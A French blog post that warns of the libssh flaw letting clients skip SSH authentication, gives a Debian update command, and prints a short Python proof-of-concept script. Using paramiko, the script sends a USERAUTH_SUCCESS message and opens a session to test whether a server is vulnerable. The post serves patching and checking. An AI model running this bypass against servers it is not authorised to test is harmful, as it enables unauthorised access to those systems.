{LibSSh} – Une faille permet à n’importe qui d’accéder sans s’authentifier à votre serveur.

 

Salut à tous,

 

L'heure est grave les amis, et je vous écris ces quelques lignes pour vous filer une commande qui va probablement sauver la vie à certain d'entre vous.
Pour ceux qui ne le savent pas déjà une faille a été découverte et permettrait à n'importe qui de se connecter sans directement s'authentifier sur votre serveur.

Cet article ne sera pas très long, car je souhaite surtout vous faire gagner le plus de temps possible.

La faille

Comme je vous l'ai dit, cet article n'est pas vraiment "préparé", et je vais aller à l'essentiel :

Lorsque vous vous connectez sur votre serveur en ssh que se passe t-il ?
Vous envoyez une requête "SSH2_MSG_USERAUTH_REQUEST", dont le job est de demander à votre serveur de vous identifier.

Ici, il suffit d'envoyer "SSH2_MSG_USERAUTH_SUCCESS" au serveur, pour qu'il vous considère comme identifié... sans même vous demander de vous identifier !

 

La solution

L'équipe en charge de libssh a rapidement mis à disposition un correctif : libssh 0.8.4 and 0.7.6 security and bugfix release

Depuis le lien ci-dessus vous aurez la possibilité de vous mettre à jour !
Sinon, si vous êtes branchés sur les bons répository vous pourrez vous mettre à jour avec la commande suivante (Debian) :

apt-get install `dpkg-query -f '${binary:Package}\n' -W | grep libssh | xargs | sed -e s/:amd64//g -e s/:i386//g`; dpkg -l | grep libssh

Celle-ci va rechercher tous les paquets installés contenant le mot libssh et les mettre à jour si une mises à jour est disponible.
A la fin de cette commande je vous affiche la version des paquets installés.
Dans l'idéal, il vous faudra avoir un libssh en version 0.8.4 

 

Êtes vous vulnérable ?

XorHak, l'un de mes lecteurs m'a fait parvenir ce script python :

#!/usr/bin/env python
# coding: utf-8

import paramiko
import socket
import sys

def poc(hostname="127.0.0.1", port=22):
    paramiko.util.log_to_file("poc.log")

    sock = socket.socket()
    sock.settimeout(1)
    try:
        sock.connect((hostname, port))

        # instantiate transport
        m = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(m)

        cmd_channel = transport.open_session(timeout=1)

    except socket.error as e:
        print("%s %d connection failed: %s" % (hostname, port, e.message))
        return 254

    except Exception as e:
        print("%s %d probably not vulnerable: %s" % (hostname, port, e.message))
        return 1

    print("%s %d vulnerable" % (hostname, port))
    return 0


if __name__ == "__main__":
  exit(poc(sys.argv[1], int(sys.argv[2])))

Provenant de ce dépôt Githttps://github.com/ktwombley/CVE-2018-10933
Celui-ci vous permettra de vérifier si vous êtes vulnérables

 

Plus d'information

Je vous invite à jeter un œil ici pour avoir un peu plus d'informations sur le sujet :
https://www.zdnet.com/article/security-flaw-in-libssh-leaves-thousands-of-servers-at-risk-of-hijacking/

Bien entendu, je compte sur les personnes qui me lisent ici pour apporter (si elles le peuvent) plus d'information / d'aide sur le sujet en commentaire.

Partagez ce contenu

2 comments

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *